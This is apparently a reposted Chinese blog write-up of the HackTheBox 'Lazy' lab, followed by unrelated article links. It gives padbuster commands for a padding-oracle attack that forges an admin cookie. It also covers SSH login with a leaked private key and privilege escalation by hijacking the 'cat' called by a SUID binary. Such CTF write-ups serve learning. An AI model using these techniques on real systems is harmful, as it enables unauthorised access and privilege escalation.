当前位置: 首页 > news >正文

HackTheBox-Machines--Lazy


Lazy测试过程

1 信息收集


1.端口扫描

发现 SSH(22)、HTTP(80)端口

nmap -sC -sV 10.129.159.51

在这里插入图片描述

2.访问 80 端口

在这里插入图片描述

  1.页面中存在注册功能,测试注册功能

在这里插入图片描述

  页面返回登录页面及用户名

在这里插入图片描述

  使用burpsuite观察注册请求 /register.php

在这里插入图片描述

  2.cookie 测试

  登录请求 /index.php,观察cookie,auth不是标准的 PHP 会话管理 cookie,测试auth

在这里插入图片描述

  测试auth,在更改auth的值后,响应显示 Invalid padding,根据响应,猜测可能存在 padding 漏洞

在这里插入图片描述


2 padding 攻击


1.padding oracle攻击技术

  padding oracle攻击技术 是指使用密文的填充验证信息来进行解密的攻击方法。密码学中,可变长度的明文信息通常需要经填充后才能兼容基础的密码原语。

  攻击者可以拦截加密算法加密的消息。通过padding oracle攻击技术,在不清楚 key 和 IV 的前提下解密任意给定的密文。

  使用padbuster工具进行测试:

http://10.129.139.45/index.php
[EncryptedSample] -- Joak7LI%2Bz9Qvv4hc9LhTYxDOk%2FyzkSyT一个有效的 cookie
[BlockSize] - 8,一般为 816-cookies auth=Joak7LI%2Bz9Qvv4hc9LhTYxDOk%2FyzkSyT -- 向 padbuster 传递数据的存放位置
-encoding 0 -- base64
padbuster http://10.129.139.45/index.php Joak7LI%2Bz9Qvv4hc9LhTYxDOk%2FyzkSyT 8 -cookies auth=Joak7LI%2Bz9Qvv4hc9LhTYxDOk%2FyzkSyT encoding 0

在这里插入图片描述

在这里插入图片描述

  使用 padbuster工具加密admin

padbuster http://10.129.139.45/index.php Joak7LI%2Bz9Qvv4hc9LhTYxDOk%2FyzkSyT 8 -cookies auth=Joak7LI%2Bz9Qvv4hc9LhTYxDOk%2FyzkSyT encoding 0 -plaintext user=admin

在这里插入图片描述

在这里插入图片描述


获取权限


  获取到新的cookie,使用cookie进行登录,替换cookie,刷新/index.php

BAitGdYuupMjA3gl1aFoOwAAAAAAAAAA

在这里插入图片描述

  使用admin账户登录成功,页面URI显示用户为 mitsos,及一个RSA私钥

在这里插入图片描述

SSH登录

chmod 600 id_rsa 
ssh -i id_rsa mitsos@10.129.139.45

在这里插入图片描述


3 权限提升


在这里插入图片描述

  在 mitsos 的主目录中有一个 根 SUID 二进制文件backup ,以及 cat 命令,运行backup,它输出的内容类似于 /etc/shadow,该文件只能由 root 读取

在这里插入图片描述
在这里插入图片描述

  因为suid程序正在调用cat命令,我们可以编辑cat使用sudo权限打开/bin/sh

在这里插入图片描述

相关文章:

  • 数据结构——图
  • Lua的几个特殊用法
  • PHP面向对象编程总结
  • Flutter 中的 SliverCrossAxisGroup 小部件:全面指南
  • C++ 变量的声明和初始化方式
  • <Rust><iced>基于rust使用iced库构建GUI实例:动态改变主题色
  • 使用Spring的@Scheduled注解实现定时任务
  • 关于高版本 Plant Simulation 每次保存是 提示提交comm对话框的处理方法
  • 使用axios+vue在离开页面时中断网络请求
  • MATLAB算法实战应用案例精讲-【数模应用】Turf组合模型(附MATLAB、python和R语言代码实现)
  • Outpainting Inpainting
  • RTA GMH系列 SERIE MOTION电机驱动板手侧 英文版
  • 【Web API DOM03】事件监听
  • VRRP
  • 创新指南|领导者如何评估自己的表现——麦肯锡专有的CEO卓越评估工具
  • 2017 前端面试准备 - 收藏集 - 掘金
  • linux学习笔记
  • open-falcon 开发笔记(一):从零开始搭建虚拟服务器和监测环境
  • Sublime Text 2/3 绑定Eclipse快捷键
  • 从 Android Sample ApiDemos 中学习 android.animation API 的用法
  • 构建二叉树进行数值数组的去重及优化
  • 算法---两个栈实现一个队列
  • 系统认识JavaScript正则表达式
  • 小而合理的前端理论:rscss和rsjs
  • 写给高年级小学生看的《Bash 指南》
  • 一起来学SpringBoot | 第十篇:使用Spring Cache集成Redis
  • 用element的upload组件实现多图片上传和压缩
  • 在electron中实现跨域请求,无需更改服务器端设置
  • elasticsearch-head插件安装
  • FaaS 的简单实践
  • 说说我为什么看好Spring Cloud Alibaba
  • ​​​​​​​GitLab 之 GitLab-Runner 安装,配置与问题汇总
  • ​DB-Engines 11月数据库排名:PostgreSQL坐稳同期涨幅榜冠军宝座
  • ​Python 3 新特性:类型注解
  • ​VRRP 虚拟路由冗余协议(华为)
  • ​浅谈 Linux 中的 core dump 分析方法
  • ### Cause: com.mysql.jdbc.exceptions.jdbc4.MySQLTr
  • #07【面试问题整理】嵌入式软件工程师
  • #162 (Div. 2)
  • #APPINVENTOR学习记录
  • #大学#套接字
  • #我与Java虚拟机的故事#连载05:Java虚拟机的修炼之道
  • (1)Nginx简介和安装教程
  • (2024最新)CentOS 7上在线安装MySQL 5.7|喂饭级教程
  • (pytorch进阶之路)CLIP模型 实现图像多模态检索任务
  • (pytorch进阶之路)扩散概率模型
  • (二)WCF的Binding模型
  • (分类)KNN算法- 参数调优
  • (收藏)Git和Repo扫盲——如何取得Android源代码
  • (四)Android布局类型(线性布局LinearLayout)
  • (一)搭建springboot+vue前后端分离项目--前端vue搭建
  • (转载)CentOS查看系统信息|CentOS查看命令
  • *** 2003
  • .NET Remoting学习笔记(三)信道
  • .net web项目 调用webService